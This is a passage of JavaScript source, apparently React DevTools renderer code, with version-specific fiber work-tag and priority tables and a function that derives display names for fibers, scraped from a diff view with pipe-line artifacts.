let ReactPriorityLevels: ReactPriorityLevelsType = {
|
||||
ImmediatePriority: 99,
|
||||
UserBlockingPriority: 98,
|
||||
NormalPriority: 97,
|
||||
LowPriority: 96,
|
||||
IdlePriority: 95,
|
||||
NoPriority: 90,
|
||||
};
|
||||
|
||||
if (gt(version, '17.0.2')) {
|
||||
ReactPriorityLevels = {
|
||||
ImmediatePriority: 1,
|
||||
UserBlockingPriority: 2,
|
||||
NormalPriority: 3,
|
||||
LowPriority: 4,
|
||||
IdlePriority: 5,
|
||||
NoPriority: 0,
|
||||
};
|
||||
}
|
||||
|
||||
let StrictModeBits = 0;
|
||||
if (gte(version, '18.0.0-alpha')) {
|
||||
// 18+
|
||||
StrictModeBits = 0b011000;
|
||||
} else if (gte(version, '16.9.0')) {
|
||||
// 16.9 - 17
|
||||
StrictModeBits = 0b1;
|
||||
} else if (gte(version, '16.3.0')) {
|
||||
// 16.3 - 16.8
|
||||
StrictModeBits = 0b10;
|
||||
}
|
||||
|
||||
const SuspenseyImagesMode = 0b0100000;
|
||||
|
||||
let ReactTypeOfWork: WorkTagMap = ((null: any): WorkTagMap);
|
||||
|
||||
// **********************************************************
|
||||
// The section below is copied from files in React repo.
|
||||
// Keep it in sync, and add version guards if it changes.
|
||||
//
|
||||
// TODO Update the gt() check below to be gte() whichever the next version number is.
|
||||
// Currently the version in Git is 17.0.2 (but that version has not been/may not end up being released).
|
||||
if (gt(version, '17.0.1')) {
|
||||
ReactTypeOfWork = {
|
||||
CacheComponent: 24, // Experimental
|
||||
ClassComponent: 1,
|
||||
ContextConsumer: 9,
|
||||
ContextProvider: 10,
|
||||
CoroutineComponent: -1, // Removed
|
||||
CoroutineHandlerPhase: -1, // Removed
|
||||
DehydratedSuspenseComponent: 18, // Behind a flag
|
||||
ForwardRef: 11,
|
||||
Fragment: 7,
|
||||
FunctionComponent: 0,
|
||||
HostComponent: 5,
|
||||
HostPortal: 4,
|
||||
HostRoot: 3,
|
||||
HostHoistable: 26, // In reality, 18.2+. But doesn't hurt to include it here
|
||||
HostSingleton: 27, // Same as above
|
||||
HostText: 6,
|
||||
IncompleteClassComponent: 17,
|
||||
IncompleteFunctionComponent: 28,
|
||||
IndeterminateComponent: 2, // removed in 19.0.0
|
||||
LazyComponent: 16,
|
||||
LegacyHiddenComponent: 23, // Does not exist in 18+ OSS but exists in fb builds
|
||||
MemoComponent: 14,
|
||||
Mode: 8,
|
||||
OffscreenComponent: 22, // Experimental in 17. Stable in 18+
|
||||
Profiler: 12,
|
||||
ScopeComponent: 21, // Experimental
|
||||
SimpleMemoComponent: 15,
|
||||
SuspenseComponent: 13,
|
||||
SuspenseListComponent: 19, // Experimental
|
||||
TracingMarkerComponent: 25, // Experimental - This is technically in 18 but we don't
|
||||
// want to fork again so we're adding it here instead
|
||||
YieldComponent: -1, // Removed
|
||||
Throw: 29,
|
||||
ViewTransitionComponent: 30, // Experimental
|
||||
ActivityComponent: 31,
|
||||
};
|
||||
} else if (gte(version, '17.0.0-alpha')) {
|
||||
ReactTypeOfWork = {
|
||||
CacheComponent: -1, // Doesn't exist yet
|
||||
ClassComponent: 1,
|
||||
ContextConsumer: 9,
|
||||
ContextProvider: 10,
|
||||
CoroutineComponent: -1, // Removed
|
||||
CoroutineHandlerPhase: -1, // Removed
|
||||
DehydratedSuspenseComponent: 18, // Behind a flag
|
||||
ForwardRef: 11,
|
||||
Fragment: 7,
|
||||
FunctionComponent: 0,
|
||||
HostComponent: 5,
|
||||
HostPortal: 4,
|
||||
HostRoot: 3,
|
||||
HostHoistable: -1, // Doesn't exist yet
|
||||
HostSingleton: -1, // Doesn't exist yet
|
||||
HostText: 6,
|
||||
IncompleteClassComponent: 17,
|
||||
IncompleteFunctionComponent: -1, // Doesn't exist yet
|
||||
IndeterminateComponent: 2,
|
||||
LazyComponent: 16,
|
||||
LegacyHiddenComponent: 24,
|
||||
MemoComponent: 14,
|
||||
Mode: 8,
|
||||
OffscreenComponent: 23, // Experimental
|
||||
Profiler: 12,
|
||||
ScopeComponent: 21, // Experimental
|
||||
SimpleMemoComponent: 15,
|
||||
SuspenseComponent: 13,
|
||||
SuspenseListComponent: 19, // Experimental
|
||||
TracingMarkerComponent: -1, // Doesn't exist yet
|
||||
YieldComponent: -1, // Removed
|
||||
Throw: -1, // Doesn't exist yet
|
||||
ViewTransitionComponent: -1, // Doesn't exist yet
|
||||
ActivityComponent: -1, // Doesn't exist yet
|
||||
};
|
||||
} else if (gte(version, '16.6.0-beta.0')) {
|
||||
ReactTypeOfWork = {
|
||||
CacheComponent: -1, // Doesn't exist yet
|
||||
ClassComponent: 1,
|
||||
ContextConsumer: 9,
|
||||
ContextProvider: 10,
|
||||
CoroutineComponent: -1, // Removed
|
||||
CoroutineHandlerPhase: -1, // Removed
|
||||
DehydratedSuspenseComponent: 18, // Behind a flag
|
||||
ForwardRef: 11,
|
||||
Fragment: 7,
|
||||
FunctionComponent: 0,
|
||||
HostComponent: 5,
|
||||
HostPortal: 4,
|
||||
HostRoot: 3,
|
||||
HostHoistable: -1, // Doesn't exist yet
|
||||
HostSingleton: -1, // Doesn't exist yet
|
||||
HostText: 6,
|
||||
IncompleteClassComponent: 17,
|
||||
IncompleteFunctionComponent: -1, // Doesn't exist yet
|
||||
IndeterminateComponent: 2,
|
||||
LazyComponent: 16,
|
||||
LegacyHiddenComponent: -1,
|
||||
MemoComponent: 14,
|
||||
Mode: 8,
|
||||
OffscreenComponent: -1, // Experimental
|
||||
Profiler: 12,
|
||||
ScopeComponent: -1, // Experimental
|
||||
SimpleMemoComponent: 15,
|
||||
SuspenseComponent: 13,
|
||||
SuspenseListComponent: 19, // Experimental
|
||||
TracingMarkerComponent: -1, // Doesn't exist yet
|
||||
YieldComponent: -1, // Removed
|
||||
Throw: -1, // Doesn't exist yet
|
||||
ViewTransitionComponent: -1, // Doesn't exist yet
|
||||
ActivityComponent: -1, // Doesn't exist yet
|
||||
};
|
||||
} else if (gte(version, '16.4.3-alpha')) {
|
||||
ReactTypeOfWork = {
|
||||
CacheComponent: -1, // Doesn't exist yet
|
||||
ClassComponent: 2,
|
||||
ContextConsumer: 11,
|
||||
ContextProvider: 12,
|
||||
CoroutineComponent: -1, // Removed
|
||||
CoroutineHandlerPhase: -1, // Removed
|
||||
DehydratedSuspenseComponent: -1, // Doesn't exist yet
|
||||
ForwardRef: 13,
|
||||
Fragment: 9,
|
||||
FunctionComponent: 0,
|
||||
HostComponent: 7,
|
||||
HostPortal: 6,
|
||||
HostRoot: 5,
|
||||
HostHoistable: -1, // Doesn't exist yet
|
||||
HostSingleton: -1, // Doesn't exist yet
|
||||
HostText: 8,
|
||||
IncompleteClassComponent: -1, // Doesn't exist yet
|
||||
IncompleteFunctionComponent: -1, // Doesn't exist yet
|
||||
IndeterminateComponent: 4,
|
||||
LazyComponent: -1, // Doesn't exist yet
|
||||
LegacyHiddenComponent: -1,
|
||||
MemoComponent: -1, // Doesn't exist yet
|
||||
Mode: 10,
|
||||
OffscreenComponent: -1, // Experimental
|
||||
Profiler: 15,
|
||||
ScopeComponent: -1, // Experimental
|
||||
SimpleMemoComponent: -1, // Doesn't exist yet
|
||||
SuspenseComponent: 16,
|
||||
SuspenseListComponent: -1, // Doesn't exist yet
|
||||
TracingMarkerComponent: -1, // Doesn't exist yet
|
||||
YieldComponent: -1, // Removed
|
||||
Throw: -1, // Doesn't exist yet
|
||||
ViewTransitionComponent: -1, // Doesn't exist yet
|
||||
ActivityComponent: -1, // Doesn't exist yet
|
||||
};
|
||||
} else {
|
||||
ReactTypeOfWork = {
|
||||
CacheComponent: -1, // Doesn't exist yet
|
||||
ClassComponent: 2,
|
||||
ContextConsumer: 12,
|
||||
ContextProvider: 13,
|
||||
CoroutineComponent: 7,
|
||||
CoroutineHandlerPhase: 8,
|
||||
DehydratedSuspenseComponent: -1, // Doesn't exist yet
|
||||
ForwardRef: 14,
|
||||
Fragment: 10,
|
||||
FunctionComponent: 1,
|
||||
HostComponent: 5,
|
||||
HostPortal: 4,
|
||||
HostRoot: 3,
|
||||
HostHoistable: -1, // Doesn't exist yet
|
||||
HostSingleton: -1, // Doesn't exist yet
|
||||
HostText: 6,
|
||||
IncompleteClassComponent: -1, // Doesn't exist yet
|
||||
IncompleteFunctionComponent: -1, // Doesn't exist yet
|
||||
IndeterminateComponent: 0,
|
||||
LazyComponent: -1, // Doesn't exist yet
|
||||
LegacyHiddenComponent: -1,
|
||||
MemoComponent: -1, // Doesn't exist yet
|
||||
Mode: 11,
|
||||
OffscreenComponent: -1, // Experimental
|
||||
Profiler: 15,
|
||||
ScopeComponent: -1, // Experimental
|
||||
SimpleMemoComponent: -1, // Doesn't exist yet
|
||||
SuspenseComponent: 16,
|
||||
SuspenseListComponent: -1, // Doesn't exist yet
|
||||
TracingMarkerComponent: -1, // Doesn't exist yet
|
||||
YieldComponent: 9,
|
||||
Throw: -1, // Doesn't exist yet
|
||||
ViewTransitionComponent: -1, // Doesn't exist yet
|
||||
ActivityComponent: -1, // Doesn't exist yet
|
||||
};
|
||||
}
|
||||
// **********************************************************
|
||||
// End of copied code.
|
||||
// **********************************************************
|
||||
|
||||
function getTypeSymbol(type: any): symbol | string | number {
|
||||
const symbolOrNumber =
|
||||
typeof type === 'object' && type !== null ? type.$$typeof : type;
|
||||
|
||||
return typeof symbolOrNumber === 'symbol'
|
||||
? symbolOrNumber.toString()
|
||||
: symbolOrNumber;
|
||||
}
|
||||
|
||||
const {
|
||||
CacheComponent,
|
||||
ClassComponent,
|
||||
IncompleteClassComponent,
|
||||
IncompleteFunctionComponent,
|
||||
FunctionComponent,
|
||||
IndeterminateComponent,
|
||||
ForwardRef,
|
||||
HostRoot,
|
||||
HostHoistable,
|
||||
HostSingleton,
|
||||
HostComponent,
|
||||
HostPortal,
|
||||
HostText,
|
||||
Fragment,
|
||||
LazyComponent,
|
||||
LegacyHiddenComponent,
|
||||
MemoComponent,
|
||||
OffscreenComponent,
|
||||
Profiler,
|
||||
ScopeComponent,
|
||||
SimpleMemoComponent,
|
||||
SuspenseComponent,
|
||||
SuspenseListComponent,
|
||||
TracingMarkerComponent,
|
||||
Throw,
|
||||
ViewTransitionComponent,
|
||||
ActivityComponent,
|
||||
} = ReactTypeOfWork;
|
||||
|
||||
function resolveFiberType(type: any): $FlowFixMe {
|
||||
const typeSymbol = getTypeSymbol(type);
|
||||
switch (typeSymbol) {
|
||||
case MEMO_NUMBER:
|
||||
case MEMO_SYMBOL_STRING:
|
||||
// recursively resolving memo type in case of memo(forwardRef(Component))
|
||||
return resolveFiberType(type.type);
|
||||
case FORWARD_REF_NUMBER:
|
||||
case FORWARD_REF_SYMBOL_STRING:
|
||||
return type.render;
|
||||
default:
|
||||
return type;
|
||||
}
|
||||
}
|
||||
|
||||
// NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods
|
||||
function getDisplayNameForFiber(
|
||||
fiber: Fiber,
|
||||
shouldSkipForgetCheck: boolean = false,
|
||||
): string | null {
|
||||
const {elementType, type, tag} = fiber;
|
||||
|
||||
let resolvedType = type;
|
||||
if (typeof type === 'object' && type !== null) {
|
||||
resolvedType = resolveFiberType(type);
|
||||
}
|
||||
|
||||
let resolvedContext: any = null;
|
||||
if (
|
||||
!shouldSkipForgetCheck &&
|
||||
// $FlowFixMe[incompatible-type] fiber.updateQueue is mixed
|
||||
(fiber.updateQueue?.memoCache != null ||
|
||||
(Array.isArray(fiber.memoizedState?.memoizedState) &&
|
||||
fiber.memoizedState.memoizedState[0]?.[REACT_MEMO_CACHE_SENTINEL]) ||
|
||||
fiber.memoizedState?.memoizedState?.[REACT_MEMO_CACHE_SENTINEL])
|
||||
) {
|
||||
const displayNameWithoutForgetWrapper = getDisplayNameForFiber(
|
||||
fiber,
|
||||
true,
|
||||
);
|
||||
if (displayNameWithoutForgetWrapper == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return `Forget(${displayNameWithoutForgetWrapper})`;
|
||||
}
|
||||
|
||||
switch (tag) {
|
||||
case ActivityComponent:
|
||||
return 'Activity';
|
||||
case CacheComponent:
|
||||
return 'Cache';
|
||||
case ClassComponent:
|
||||
case IncompleteClassComponent:
|
||||
case IncompleteFunctionComponent:
|
||||
case FunctionComponent:
|
||||
case IndeterminateComponent:
|
||||
return getDisplayName(resolvedType);
|
||||
case ForwardRef:
|
||||
return getWrappedDisplayName(
|
||||
elementType,
|
||||
resolvedType,
|
||||
'ForwardRef',
|
||||
'Anonymous',
|
||||
);
|
||||
case HostRoot:
|
||||
const fiberRoot = fiber.stateNode;
|
||||
if (fiberRoot != null && fiberRoot._debugRootType !== null) {
|
||||
return fiberRoot._debugRootType;
|
||||
}
|
||||
return null;
|
||||
case HostComponent:
|
||||
case HostSingleton:
|
||||
case HostHoistable:
|
||||
return type;
|
||||
case HostPortal:
|
||||
case HostText:
|
||||
return null;
|
||||
case Fragment:
|
||||
return 'Fragment';
|
||||
case LazyComponent:
|
||||
// This display name will not be user visible.
|
||||
// Once a Lazy component loads its inner component, React replaces the tag and type.
|
||||
// This display name will only show up in console logs when DevTools DEBUG mode is on.
|
||||
return 'Lazy';
|
||||
case MemoComponent:
|
||||
case SimpleMemoComponent:
|
||||
// Display name in React does not use `Memo` as a wrapper but fallback name.
|
||||
return getWrappedDisplayName(
|
||||
elementType,
|
||||
resolvedType,
|
||||
'Memo',
|
||||
'Anonymous',
|
||||
);
|
||||
case SuspenseComponent:
|
||||
return 'Suspense';
|
||||
case LegacyHiddenComponent:
|
||||
return 'LegacyHidden';
|
||||
case OffscreenComponent:
|
||||
return 'Offscreen';
|
||||
case ScopeComponent:
|
||||
return 'Scope';
|
||||
case SuspenseListComponent:
|
||||
return 'SuspenseList';
|
||||
case Profiler:
|
||||
return 'Profiler';
|
||||
case TracingMarkerComponent:
|
||||
return 'TracingMarker';
|
||||
case ViewTransitionComponent:
|
||||
return 'ViewTransition';
|
||||
case Throw:
|
||||
// This should really never be visible.
|
||||
return 'Error';
|
||||
default:
|
||||
const typeSymbol = getTypeSymbol(type);
|
||||
|
||||
switch (typeSymbol) {
|
||||
case CONCURRENT_MODE_NUMBER:
|
||||
case CONCURRENT_MODE_SYMBOL_STRING:
|
||||
case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
|
||||
return null;
|
||||
case PROVIDER_NUMBER:
|
||||
case PROVIDER_SYMBOL_STRING:
|
||||
// 16.3.0 exposed the context object as "context"
|
||||
// PR #12501 changed it to "_context" for 16.3.1+
|
||||
// NOTE Keep in sync with inspectElementRaw()
|
||||
resolvedContext = fiber.type._context || fiber.type.context;
|
||||
return `${resolvedContext.displayName || 'Context'}.Provider`;
|
||||
case CONTEXT_NUMBER:
|
||||
case CONTEXT_SYMBOL_STRING:
|
||||
case SERVER_CONTEXT_SYMBOL_STRING:
|
||||
if (
|
||||
fiber.type._context === undefined &&
|
||||
fiber.type.Provider === fiber.type
|
||||
) {
|
||||
// In 19+, Context.Provider === Context, so this is a provider.
|
||||
resolvedContext = fiber.type;
|
||||
return `${resolvedContext.displayName || 'Context'}.Provider`;
|
||||
}
|
||||
|
||||
// 16.3-16.5 read from "type" because the Consumer is the actual context object.
|
||||
// 16.6+ should read from "type._context" because Consumer can be different (in DEV).
|
||||
// NOTE Keep in sync with inspectElementRaw()
|
||||
resolvedContext = fiber.type._context || fiber.type;
|
||||
|
||||
// NOTE: TraceUpdatesBackendManager depends on the name ending in '.Consumer'
|
||||
// If you change the name, figure out a more resilient way to detect it.
|
||||
return `${resolvedContext.displayName || 'Context'}.Consumer`;
|
||||
case CONSUMER_SYMBOL_STRING:
|
||||
// 19+
|
||||
resolvedContext = fiber.type._context;
|
||||
return `${resolvedContext.displayName || 'Context'}.Consumer`;
|
||||
case STRICT_MODE_NUMBER:
|
||||
case STRICT_MODE_SYMBOL_STRING:
|
||||
return null;
|
||||
case PROFILER_NUMBER:
|
||||
case PROFILER_SYMBOL_STRING:
|
||||
return `Profiler(${fiber.memoizedProps.id})`;
|
||||
case SCOPE_NUMBER:
|
||||
case SCOPE_SYMBOL_STRING:
|
||||
return 'Scope';
|
||||
default:
|
||||
// Unknown element type.
|
||||
// This may mean a new element type that has not yet been added to DevTools.
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
getDisplayNameForFiber,
|
||||
getTypeSymbol,
|
||||
ReactPriorityLevels,
|
||||
ReactTypeOfWork,
|
||||
StrictModeBits,
|
||||
SuspenseyImagesMode,
|
||||
};
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user